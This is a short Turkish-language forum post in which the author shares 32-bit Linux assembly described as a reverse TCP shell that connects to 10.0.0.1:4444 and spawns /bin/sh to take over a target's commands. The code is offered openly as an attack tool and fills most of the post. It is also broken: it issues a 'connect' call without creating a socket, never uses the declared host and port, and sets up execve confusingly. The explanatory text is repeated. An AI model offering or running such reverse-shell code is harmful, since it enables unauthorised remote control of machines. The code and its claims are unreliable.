Merhaba arkadaşlar
Bugün kodladığım basit bir assembly kodunu sizler ile paylaşıcağım.
Bu kod Linux işletim sistemi içindir.
Bu yazdığım kod 10.0.0.1 ip adresinin 4444 portuna ters Tcp bağlantısı kurar. Sonrasında hedefin komutlarını almak için kullanılabilir. Linux işletim sisteminde /bin/sh komutunu çalıştırır.
Bugün kodladığım basit bir assembly kodunu sizler ile paylaşıcağım.
Bu kod Linux işletim sistemi içindir.
Kod:
section .data
host db "10.0.0.1"
port dw 4444
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 2
mov bl, 1
int 0x80
xor eax, eax
xor ecx, ecx
xor edx, edx
mov al, 0x66
mov bl, 3
push edx
push ecx
push ebx
mov ecx, esp
int 0x80
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 11
push edx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
xor eax, eax
xor ebx, ebx
mov al, 1
int 0x80
Bu yazdığım kod 10.0.0.1 ip adresinin 4444 portuna ters Tcp bağlantısı kurar. Sonrasında hedefin komutlarını almak için kullanılabilir. Linux işletim sisteminde /bin/sh komutunu çalıştırır.
Son düzenleme: